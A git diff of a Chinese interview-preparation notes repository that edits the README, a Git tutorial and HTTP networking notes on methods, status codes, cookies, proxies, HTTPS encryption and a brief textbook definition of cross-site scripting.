1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
*.txt
|
65
README.md
@ -1,10 +1,13 @@
|
||||
<!--  </br> -->
|
||||
| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
|
||||
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
|
||||
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
|
||||
</br>
|
||||
|
||||
 </br></br>
|
||||
:loudspeaker: 本仓库不参与商业行为,不向读者收取任何费用。
|
||||
|
||||
|
||||
| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ | Ⅺ |
|
||||
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:| :-------:|
|
||||
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 资料下载[:arrow_down:](#资料下载-arrow_down)| 后记[:memo:](#后记-memo) |
|
||||
:loudspeaker: This repository is not engaging in business activities, and does not charge readers any fee.
|
||||
</br></br>
|
||||
|
||||
## 网络 :cloud:
|
||||
|
||||
@ -106,7 +109,8 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
|
||||
|
||||
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
|
||||
|
||||
分布式事务、复杂均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
||||
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
||||
|
||||
|
||||
## 工具 :hammer:
|
||||
|
||||
@ -132,51 +136,40 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
|
||||
|
||||
Google 开源项目的代码风格规范。
|
||||
|
||||
## 资料下载 :arrow_down:
|
||||
|
||||
> [Download](https://github.com/CyC2018/Interview-Notebook/blob/master/other/download.md)
|
||||
|
||||
一些 PDF 书籍
|
||||
|
||||
## 后记 :memo:
|
||||
|
||||
(一)关于仓库
|
||||
**关于仓库**
|
||||
|
||||
本仓库是笔者在准备 2018 年春招实习过程中的学习总结,内容以计算机书籍的学习笔记为主,在整理重点知识的同时会尽量保证知识的系统性。
|
||||
|
||||
(二)关于上传
|
||||
**关于贡献**
|
||||
|
||||
因为大部分内容是笔者一个字一个字打上去的,所有难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。
|
||||
|
||||
笔者能力有限,很多内容还不够完善。如果您希望和笔者一起完善这个仓库,可以在发表一个 Issue,表明您想要添加的内容,笔者会及时查看。
|
||||
|
||||
因为不打算将这个仓库做成一个大而全的面试宝典,只希望添加一些比较通用的基础知识,或者是与 Java 和分布式相关的内容,但是不添加 Java Web 相关的内容。
|
||||
|
||||
您也可以在 Issues 中发表关于改进本仓库的建议。
|
||||
|
||||
**关于上传**
|
||||
|
||||
笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上,实现了一整套自动化上传方案,包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
|
||||
|
||||
进行 Markdown 文档转换的原因是 Github 使用的 GFM 不支持 MathJax 公式,也不支持 TOC 标记,因此需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
|
||||
进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记,所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
|
||||
|
||||
(三)关于排版
|
||||
**关于排版**
|
||||
|
||||
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。
|
||||
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线排版工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。
|
||||
|
||||
不使用 `![]()` 这种方式来引用图片的原因是为了能够控制图片以合适的大小显示,并且在 GFM 中无法使用 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` 达到此目的。
|
||||
不使用 `![]()` 这种方式来引用图片是为了能够控制图片以合适的大小显示。而且 GFM 不支持 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` ,所以只能使用 img 标签来引用图片。
|
||||
|
||||
(四)关于纠错
|
||||
|
||||
大部分内容是一个字一个字打上去的,难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。
|
||||
|
||||
如果您发现错误,希望您能够进行指正,谢谢!
|
||||
|
||||
您也可以在 Issues 中发表反馈意见。
|
||||
|
||||
(五)关于转载
|
||||
**关于转载**
|
||||
|
||||
本仓库内容使用到的资料都会在最后面的参考资料中给出引用链接,希望您在使用本仓库的内容时也能给出相应的引用链接。
|
||||
|
||||
<!-- ## Donate
|
||||
**鸣谢**
|
||||
|
||||
[Alipay](https://github.com/CyC2018/InterviewNotes/blob/master/other/alipay.md)
|
||||
[TeeKee](https://github.com/linw7)
|
||||
|
||||
<img src="./other/alipay.png" alt="" width="150"/> -->
|
||||
|
||||
## License
|
||||
|
||||
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/3.0/cn/88x31.png" /></a>
|
||||
|
||||
本作品采用 <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/">知识共享署名-非商业性使用-相同方式共享 3.0 中国大陆许可协议</a> 进行许可。
|
||||
|
||||
|
@ -1,6 +1,3 @@
|
||||
<div align="center"> <img src="../pics//98fb8a54-e916-440e-ab4f-73b2955838c9.jpg" width="100%"/> </div><br>
|
||||
|
||||
|
||||
<!-- GFM-TOC -->
|
||||
* [学习资料](#学习资料)
|
||||
* [集中式与分布式](#集中式与分布式)
|
||||
@ -82,7 +79,7 @@ Git 把每次提交都连成一条时间线。分支使用指针来实现,例
|
||||
|
||||
# 冲突
|
||||
|
||||
当两个分支都对同一个文件进行了修改,在分支合并时就会产生冲突。
|
||||
当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。
|
||||
|
||||
<div align="center"> <img src="../pics//58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
|
||||
|
||||
@ -157,3 +154,5 @@ $ ssh-keygen -t rsa -C "youremail@example.com"
|
||||
<div align="center"> <img src="../pics//7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
|
||||
|
||||
比较详细的地址:http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
|
||||
|
||||
|
||||
|
357
notes/HTTP.md
@ -5,8 +5,8 @@
|
||||
* [请求和响应报文](#请求和响应报文)
|
||||
* [二、HTTP 方法](#二http-方法)
|
||||
* [GET](#get)
|
||||
* [POST](#post)
|
||||
* [HEAD](#head)
|
||||
* [POST](#post)
|
||||
* [PUT](#put)
|
||||
* [PATCH](#patch)
|
||||
* [DELETE](#delete)
|
||||
@ -14,6 +14,7 @@
|
||||
* [CONNECT](#connect)
|
||||
* [TRACE](#trace)
|
||||
* [三、HTTP 状态码](#三http-状态码)
|
||||
* [1XX 信息](#1xx-信息)
|
||||
* [2XX 成功](#2xx-成功)
|
||||
* [3XX 重定向](#3xx-重定向)
|
||||
* [4XX 客户端错误](#4xx-客户端错误)
|
||||
@ -27,8 +28,9 @@
|
||||
* [Cookie](#cookie)
|
||||
* [缓存](#缓存)
|
||||
* [持久连接](#持久连接)
|
||||
* [管线化处理](#管线化处理)
|
||||
* [编码](#编码)
|
||||
* [分块传输](#分块传输)
|
||||
* [分块传输编码](#分块传输编码)
|
||||
* [多部分对象集合](#多部分对象集合)
|
||||
* [范围请求](#范围请求)
|
||||
* [内容协商](#内容协商)
|
||||
@ -41,10 +43,16 @@
|
||||
* [七、Web 攻击技术](#七web-攻击技术)
|
||||
* [攻击模式](#攻击模式)
|
||||
* [跨站脚本攻击](#跨站脚本攻击)
|
||||
* [SQL 注入攻击](#sql-注入攻击)
|
||||
* [跨站点请求伪造](#跨站点请求伪造)
|
||||
* [SQL 注入攻击](#sql-注入攻击)
|
||||
* [拒绝服务攻击](#拒绝服务攻击)
|
||||
* [八、各版本比较](#八各版本比较)
|
||||
* [八、GET 和 POST 的区别](#八get-和-post-的区别)
|
||||
* [参数](#参数)
|
||||
* [安全](#安全)
|
||||
* [幂等性](#幂等性)
|
||||
* [可缓存](#可缓存)
|
||||
* [XMLHttpRequest](#xmlhttprequest)
|
||||
* [九、各版本比较](#九各版本比较)
|
||||
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
|
||||
* [HTTP/1.1 与 HTTP/2.0 的区别](#http11-与-http20-的区别)
|
||||
* [参考资料](#参考资料)
|
||||
@ -67,17 +75,17 @@
|
||||
|
||||
URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
|
||||
|
||||
<div align="center"> <img src="../pics//4102b7d0-39b9-48d8-82ae-ac4addb7ebfb.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f716427a-94f2-4875-9c86-98793cf5dcc3.jpg" width="400"/> </div><br>
|
||||
|
||||
## 请求和响应报文
|
||||
|
||||
### 1. 请求报文
|
||||
|
||||
<div align="center"> <img src="../pics//22b39f77-ac47-4978-91ed-84aaf457644c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//HTTP_RequestMessageExample.png" width=""/> </div><br>
|
||||
|
||||
### 2. 响应报文
|
||||
|
||||
<div align="center"> <img src="../pics//00d8d345-cd4a-48af-919e-209d2788eca7.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//HTTP_ResponseMessageExample.png" width=""/> </div><br>
|
||||
|
||||
# 二、HTTP 方法
|
||||
|
||||
@ -89,28 +97,6 @@ URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基
|
||||
|
||||
当前网络请求中,绝大部分使用的是 GET 方法。
|
||||
|
||||
## POST
|
||||
|
||||
> 传输实体主体
|
||||
|
||||
POST 主要目的不是获取资源,而是传输存储在内容实体中的数据。
|
||||
|
||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
|
||||
|
||||
```
|
||||
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
|
||||
```
|
||||
|
||||
```
|
||||
POST /test/demo_form.asp HTTP/1.1
|
||||
Host: w3schools.com
|
||||
name1=value1&name2=value2
|
||||
```
|
||||
|
||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||
|
||||
GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP Header 和 Data 一并发送出去,服务器响应 200(OK)并返回数据。而使用 POST 方法,浏览器先发送 Header,服务器响应 100(Continue)之后,浏览器再发送 Data,最后服务器响应 200(OK)并返回数据。
|
||||
|
||||
## HEAD
|
||||
|
||||
> 获取报文首部
|
||||
@ -119,6 +105,14 @@ GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP He
|
||||
|
||||
主要用于确认 URL 的有效性以及资源更新的日期时间等。
|
||||
|
||||
## POST
|
||||
|
||||
> 传输实体主体
|
||||
|
||||
POST 主要用来传输数据,而 GET 主要用来获取资源。
|
||||
|
||||
更多 POST 与 GET 的比较请见第八章。
|
||||
|
||||
## PUT
|
||||
|
||||
> 上传文件
|
||||
@ -172,13 +166,13 @@ DELETE /file.html HTTP/1.1
|
||||
|
||||
> 要求用隧道协议连接代理
|
||||
|
||||
要求在于代理服务器通信时建立隧道,使用 SSL(Secure Sokets Layer,安全套接字)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
|
||||
要求在与代理服务器通信时建立隧道,使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
|
||||
|
||||
```html
|
||||
CONNECT www.example.com:443 HTTP/1.1
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//5994928c-3d2d-45bd-abb1-adc4f5f4d775.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
|
||||
|
||||
## TRACE
|
||||
|
||||
@ -190,8 +184,6 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||
|
||||
通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。
|
||||
|
||||
<div align="center"> <img src="../pics//c8637fd2-3aaa-46c4-b7d9-f24d3fa04781.jpg"/> </div><br>
|
||||
|
||||
# 三、HTTP 状态码
|
||||
|
||||
服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
|
||||
@ -204,6 +196,10 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
||||
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
||||
|
||||
## 1XX 信息
|
||||
|
||||
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
||||
|
||||
## 2XX 成功
|
||||
|
||||
- **200 OK**
|
||||
@ -220,9 +216,9 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||
|
||||
- **303 See Other** :和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。
|
||||
|
||||
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会 在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
|
||||
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
|
||||
|
||||
- **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since,但是不满足条件,则服务器会返回 304 状态码。
|
||||
- **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since,如果不满足条件,则服务器会返回 304 状态码。
|
||||
|
||||
- **307 Temporary Redirect** :临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
|
||||
|
||||
@ -232,8 +228,6 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||
|
||||
- **401 Unauthorized** :该状态码表示发送的请求需要有认证信息(BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。
|
||||
|
||||
<div align="center"> <img src="../pics//b1b4cf7d-c54a-4ff1-9741-cd2eea331123.jpg"/> </div><br>
|
||||
|
||||
- **403 Forbidden** :请求被拒绝,服务器端没有必要给出拒绝的详细理由。
|
||||
|
||||
- **404 Not Found**
|
||||
@ -323,7 +317,7 @@ CONNECT www.example.com:443 HTTP/1.1
|
||||
|
||||
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单,使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
|
||||
|
||||
Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且在下一次发送请求时包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。
|
||||
Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且客户端的下一次请求报文会包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。
|
||||
|
||||
### 1. 创建过程
|
||||
|
||||
@ -346,7 +340,16 @@ Host: www.example.org
|
||||
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
|
||||
```
|
||||
|
||||
### 2. Set-Cookie
|
||||
### 2. 分类
|
||||
|
||||
- 会话期 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
|
||||
- 持久性 Cookie:指定一个特定的过期时间(Expires)或有效期(Max-Age)之后就成为了持久性的 Cookie。
|
||||
|
||||
```html
|
||||
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
|
||||
```
|
||||
|
||||
### 3. Set-Cookie
|
||||
|
||||
| 属性 | 说明 |
|
||||
| :--: | -- |
|
||||
@ -354,21 +357,23 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
|
||||
| expires=DATE | Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) |
|
||||
| path=PATH | 将服务器上的文件目录作为 Cookie 的适用对象(若不指定则默认为文档所在的文件目录) |
|
||||
| domain=域名 | 作为 Cookie 适用对象的域名(若不指定则默认为创建 Cookie 的服务器的域名) |
|
||||
| Secure | 仅在 HTTPS 安全通信时才会发送 Cookie |
|
||||
| Secure | 仅在 HTTPs 安全通信时才会发送 Cookie |
|
||||
| HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 |
|
||||
|
||||
### 3. Session 和 Cookie 区别
|
||||
### 4. Session 和 Cookie 区别
|
||||
|
||||
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识:Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文就包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的,Session 用于服务器端,Cookie 用于客户端。
|
||||
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识:Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的,Session 用于服务器端,Cookie 用于客户端。
|
||||
|
||||
### 4. 浏览器禁用 Cookie 的情况
|
||||
### 5. 浏览器禁用 Cookie 的情况
|
||||
|
||||
会使用 URL 重写技术,在 URL 后面加上 sid=xxx 。
|
||||
|
||||
### 5. 使用 Cookie 实现用户名和密码的自动填写
|
||||
### 6. 使用 Cookie 实现用户名和密码的自动填写
|
||||
|
||||
网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。
|
||||
|
||||
但是如果 Set-Cookie 指定了 HttpOnly 属性,就无法通过 Javascript 脚本获取 Cookie 信息,这是出于安全性考虑。
|
||||
|
||||
## 缓存
|
||||
|
||||
### 1. 优点
|
||||
@ -413,21 +418,21 @@ Expires 字段也可以用于告知缓存服务器该资源什么时候会过期
|
||||
|
||||
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。持久连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
|
||||
|
||||
<div align="center"> <img src="../pics//c73a0b78-5f46-4d2d-a009-dab2a999b5d8.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//450px-HTTP_persistent_connection.svg.png" width=""/> </div><br>
|
||||
|
||||
持久连接需要使用 Connection 首部字段进行管理。HTTP/1.1 开始 HTTP 默认是持久化连接的,如果要断开 TCP 连接,需要由客户端或者服务器端提出断开,使用 Connection : close;而在 HTTP/1.1 之前默认是非持久化连接的,如果要维持持续连接,需要使用 Connection : Keep-Alive。
|
||||
|
||||
**管线化方式** 可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
|
||||
## 管线化处理
|
||||
|
||||
<div align="center"> <img src="../pics//6943e2af-5a70-4004-8bee-b33d60f39da3.jpg"/> </div><br>
|
||||
HTTP/1.1 支持管线化处理,可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
|
||||
|
||||
## 编码
|
||||
|
||||
编码(Encoding)主要是为了对实体进行压缩。常用的编码有:gzip、compress、deflate、identity,其中 identity 表示不执行压缩的编码格式。
|
||||
|
||||
## 分块传输
|
||||
## 分块传输编码
|
||||
|
||||
分块传输(Chunked Transfer Coding)可以把数据分割成多块,让浏览器逐步显示页面。
|
||||
Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。
|
||||
|
||||
## 多部分对象集合
|
||||
|
||||
@ -454,7 +459,7 @@ Content-Type: text/plain
|
||||
|
||||
如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。
|
||||
|
||||
在请求报文首部中添加 Range 字段,然后指定请求的范围,例如 Range:bytes=5001-10000。请求成功的话服务器发送 206 Partial Content 状态。
|
||||
在请求报文首部中添加 Range 字段指定请求的范围,请求成功的话服务器发送 206 Partial Content 状态。
|
||||
|
||||
```html
|
||||
GET /z4d4kWk.jpg HTTP/1.1
|
||||
@ -478,7 +483,9 @@ Content-Length: 1024
|
||||
|
||||
## 虚拟主机
|
||||
|
||||
使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
|
||||
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
|
||||
|
||||
使用 Host 首部字段进行处理。
|
||||
|
||||
## 通信数据转发
|
||||
|
||||
@ -486,23 +493,21 @@ Content-Length: 1024
|
||||
|
||||
代理服务器接受客户端的请求,并且转发给其它服务器。
|
||||
|
||||
代理服务器一般是透明的,不会改变 URL。
|
||||
|
||||
使用代理的主要目的是:缓存、网络访问控制以及访问日志记录。
|
||||
|
||||
<div align="center"> <img src="../pics//c07035c3-a9ba-4508-8e3c-d8ae4c6ee9ee.jpg"/> </div><br>
|
||||
代理服务器分为正向代理和反向代理两种,用户察觉得到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。
|
||||
|
||||
<div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
|
||||
|
||||
### 2. 网关
|
||||
|
||||
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
|
||||
|
||||
<div align="center"> <img src="../pics//81375888-6be1-476f-9521-42eea3e3154f.jpg"/> </div><br>
|
||||
|
||||
### 3. 隧道
|
||||
|
||||
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。
|
||||
|
||||
<div align="center"> <img src="../pics//64b95403-d976-421a-8b45-bac89c0b5185.jpg"/> </div><br>
|
||||
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。隧道本身不去解析 HTTP 请求。
|
||||
|
||||
# 六、HTTPs
|
||||
|
||||
@ -512,17 +517,37 @@ HTTP 有以下安全性问题:
|
||||
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
|
||||
3. 无法证明报文的完整性,报文有可能遭篡改。
|
||||
|
||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Socket Layer)通信,再由 SSL 和 TCP 通信。通过使用 SSL,HTTPs 提供了加密、认证和完整性保护。
|
||||
HTTPs 并不是新协议,而是 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
|
||||
|
||||
通过使用 SSL,HTTPs 具有了加密、认证和完整性保护。
|
||||
|
||||
<div align="center"> <img src="../pics//ssl-offloading.jpg" width="700"/> </div><br>
|
||||
|
||||
## 加密
|
||||
|
||||
有两种加密方式:对称密钥加密和公开密钥加密。对称密钥加密的加密和解密使用同一密钥,而公开密钥加密使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||
### 1. 对称密钥加密
|
||||
|
||||
对称密钥加密的缺点:无法安全传输密钥;公开密钥加密的缺点:相对来说更耗时。
|
||||
对称密钥加密(Symmetric-Key Encryption),加密的加密和解密使用同一密钥。
|
||||
|
||||
HTTPs 采用 **混合的加密机制** ,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中,共享密钥即对称密钥)
|
||||
- 优点:运算速度快;
|
||||
- 缺点:密钥容易被获取。
|
||||
|
||||
<div align="center"> <img src="../pics//110b1a9b-87cd-45c3-a21d-824623715b33.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
|
||||
|
||||
### 2. 公开密钥加密
|
||||
|
||||
公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
|
||||
|
||||
- 优点:更为安全;
|
||||
- 缺点:运算速度慢;
|
||||
|
||||
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
|
||||
|
||||
### 3. HTTPs 采用的加密方式
|
||||
|
||||
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中的 Session Key 就是对称密钥)
|
||||
|
||||
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
|
||||
|
||||
## 认证
|
||||
|
||||
@ -532,18 +557,16 @@ HTTPs 采用 **混合的加密机制** ,使用公开密钥加密用于传输
|
||||
|
||||
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。
|
||||
|
||||
除了上诉提到的服务器端证书之外,还有客户端证书,客户端证书的目的就是让服务器对客户端进行验证。客户端证书需要用户自行安装,只有在业务需要非常高的安全性时才使用客户端证书,例如网上银行。
|
||||
<div align="center"> <img src="../pics//mutualssl_small.png" width=""/> </div><br>
|
||||
|
||||
使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。
|
||||
|
||||
## 完整性
|
||||
|
||||
SSL 提供摘要功能来验证完整性。
|
||||
SSL 提供报文摘要功能来验证完整性。
|
||||
|
||||
# 七、Web 攻击技术
|
||||
|
||||
Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
|
||||
|
||||
## 攻击模式
|
||||
|
||||
### 1. 主动攻击
|
||||
@ -552,13 +575,27 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
|
||||
|
||||
### 2. 被动攻击
|
||||
|
||||
设下圈套,让用户发送有攻击代码的 HTTP 请求,那么用户发送了该 HTTP 请求之后就会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
|
||||
设下圈套,让用户发送有攻击代码的 HTTP 请求,用户会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
|
||||
|
||||
## 跨站脚本攻击
|
||||
|
||||
### 1. 概念
|
||||
|
||||
(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包含 HTML 和 JavaScript。通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 Cookie 等各种内容。
|
||||
